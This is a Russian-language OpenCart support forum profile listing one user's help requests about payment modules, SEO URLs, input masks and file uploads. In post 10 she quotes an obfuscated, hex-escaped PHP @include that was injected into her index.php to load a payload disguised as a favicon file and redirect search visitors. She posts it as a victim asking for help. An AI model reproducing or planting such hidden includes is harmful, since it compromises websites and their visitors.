Перейти к публикации
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...

kate1987

Пользователи
  
  • Публикаций

    370
  • Зарегистрирован

  • Посещение

Все публикации пользователя kate1987

  1. Здравствуйте. Как можно изменить порядок товаров после применения фильтра (сортировка должна браться из поля Порядок сортировки в админке). Opencart Version 3.0.3.8
  2. Есть готовый модуль оплаты через Авангард Эквайринг. Под версию Opencart 2.1. Рабочий! Обращайтесь .
  3. Поставила модуль, переделала тпл для админки, так как было неправильное отображение. Вписала нужные данные. В результате http://joxi.ru/ZrJdlN8I90jvQ2
  4. Что то не работает. У меня опенкарт 2,1 В архивах те же траблы $this->data вместо правильного формата для версии опенкрт 2 $data. Я так понимаю должен быть какой то редирект после выбора метода оплаты авангард, а его нет. Просто оформляется заказ
  5. Здравствуйте. Банк Авангард предлагает модуль эквайринг под опенкарт, но дело в том что он подходит только для версии 1.5. Дорабатывала модуль. Теперь в админке он отображается нормально, все настройки сохраняются. Но во фронтенде как метод оплаты он не отображается. П.с. у клиента еще стоит модуль Quick Checkout для простого оформления заказа. Прошу помощи. На просторах инета модуль есть только под старую версию
  6. Уже не записывается. Видно что то не дочищено было. Спасибо
  7. Права на файл 644. Так что даже не знаю как код туда добавляется
  8. Поменяла уже хостинг. Но мб не до конца почистила. Пока вирусные файлы не генерируются, но код инклуд добавляется.
  9. Проверила касперским, удалила все вирусные файлы. Но инклуд этот все равно добавляется. Данных файлов на которые ссылается инклуд уже нет. Как и файлов типа saaplxah.php с троянами Файлы еще раз были перезалиты и перепроверены. Редирект на левый сайт с гугла ушел.
  10. Здравствуйте. Использую ocStore-1.5.5.1.2 Заметила что в index.php постоянно добавляется код (даже после удаления) в корне сайта и в админ папке. /*16736*/ @include "\x2fva\x72/w\x77w/\x72oy\x61la\x73si\x73ta\x6ets\x2fro\x79al\x2das\x73is\x74an\x74s.\x63om\x2fad\x6din\x2fmo\x64el\x2fsa\x6ce/\x66av\x69co\x6e_0\x3931\x651.\x69co"; /*16736*/ В результате при переходе с поисковой фразы гугл идет редирект на левый сайт. Сайт был проверен и почищен, изменены права на папки и файлы. Единственное вот добавляется этот код который отсутствует в оригинальном файле. Прошу помощи
  11. Здравствуйте. Использую opencart-2.0.2.0-rs. Нужно было сделать префиксы для языков. Для этого поставила SeoPro c opencartjazz. Так как модуль не ставился через ocmod поставила вручную. В итоге при включении получаю ошибки и ссылки такого вида /ua/index.php?route=common/language/language Not Found The requested URL /ua/index.php was not found on this server. Прошу помощи
  12. Исправила так В контроллере модуля category.php заменила if (isset($parts[0])) { $data['category_id'] = $parts[0]; } else { $data['category_id'] = 0; } на if (isset($parts[1])) { $data['category_id'] = $parts[1]; } else { $data['category_id'] = 1; } и после if (isset($parts[1])) { $data['child_id'] = $parts[1]; } else { $data['child_id'] = 0; } добавила if (isset($parts[0])) { $data['child_id'] = $parts[0]; } else { $data['child_id'] = 0; }
  13. Здравствуйте. Использую Opencart 2.0 Заметила что при включенном чпу в модуле категорий не отображаются подкатегории активной родительской категории. Вывела $category['category_id'] и $category_id - значения не совпадают. Проверила на нулевом опенкарт - то же самое. Прошу помоши
  14. У меня тоже все работает, не первая же маска в моей жизни) но в попапе не хочет. Так то она работает отлично. У вас всплывающего окна на сайте нету. Извините если обидела)
  15. добавляла, все равно не работает
  16. в скрипте прописан не ид а класс $('.phone').mask('+7-999-999-99-99'); Если бы не срабатывал скрипт то никакой бы маски вообще не было, а так она срабатывает только после обновление страницы.
  17. Город выберете вверху Житомир, а ошибка с categories_info на маску ну никак влиять не может)
  18. Не не работает( в шапку переместила. Надо как то обновить содержимое, по примеру того как обновляется содержимое корзины в шапке когда мы добавляем туда товар
  19. Здравствуйте. Делала простое попап оформление заказа на сайте и понадобилось добавить маску на поле телефон в этом попап окне. Подключила maskedinput но маска появляется только при перезагрузке страницы. Скрин Прошу помощи.
  20. Да, вы были правы, заработало
  21. переменная $action была описана в модуле в котроллере $this->data['action'] = HTTP_SERVER . 'index.php?route=module/feedback/feedback'; и в тпл вот <form action="<?php echo str_replace('&', '&', $action); ?>" в action прописано
  22. Здравствуйте. Использую OCStore1.5.5 + модуль для форм Ajax Contact Form 0.5 Хочу добавить в нее фал для загрузки Для этого в контроллере добавила public function upload() { $this->language->load('product/product'); $json = array(); if (!empty($this->request->files['file']['name'])) { $filename = basename(preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'))); if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 64)) { $json['error'] = $this->language->get('error_filename'); } // Allowed file extension types $allowed = array(); $filetypes = explode("\n", $this->config->get('config_file_extension_allowed')); foreach ($filetypes as $filetype) { $allowed[] = trim($filetype); } if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) { $json['error'] = $this->language->get('error_filetype'); } // Allowed file mime types $allowed = array(); $filetypes = explode("\n", $this->config->get('config_file_mime_allowed')); foreach ($filetypes as $filetype) { $allowed[] = trim($filetype); } if (!in_array($this->request->files['file']['type'], $allowed)) { $json['error'] = $this->language->get('error_filetype'); } // Check to see if any PHP files are trying to be uploaded $content = file_get_contents($this->request->files['file']['tmp_name']); if (preg_match('/\<\?php/i', $content)) { $json['error'] = $this->language->get('error_filetype'); } if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) { $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']); } } else { $json['error'] = $this->language->get('error_upload'); } if (!$json && is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $json['file'] = $filename; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $filename); $json['success'] = $this->language->get('text_upload'); } $this->response->setOutput(json_encode($json)); } Присоединила файл к письму if(isset($this->request->post['file'])){ $mail->addAttachment(DIR_DOWNLOAD.$this->request->post['file']); } $mail->send(); в тпл файле добавила вывод и скрипт <div> <b>File</b><br /> <input type="button" name="btn_file" id="btn_file" value="Select file" /> <input type="hidden" name="file" id="file" value="test.bmp" /> <label id="lbl_file"></label> <br /><br /> <b><?php echo $entry_enquiry; ?></b><br /> </div> <script type="text/javascript" src="catalog/view/javascript/jquery/ajaxupload.js"></script> <script type="text/javascript"><!-- new AjaxUpload('#btn_file', { action: '<?php echo $action; ?>', name: 'file', autoSubmit: true, responseType: 'json', onSubmit: function(file, extension) { $('#btn_file').after('<img src="catalog/view/theme/default/image/loading.gif" class="loading" style="padding-left: 5px;" />'); //$('#btn_file').attr('disabled', true); }, onComplete: function(file, json) { //$('#btn_file').attr('disabled', false); $('.error').remove(); if (json['success']) { $('#lbl_file').html(json['file']); $('#file').val(json['file']); } if (json['error']) { $('#btn_file').after('<span class="error">' + json['error'] + '</span>'); } $('.loading').remove(); } }); //--></script> После прикрепления файла просто крутится loading.gif Файл к письму не прикрепляется( прошу помощи
  23. кажется) Мб я перепутала переменные?
×
×
  • Создать...

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.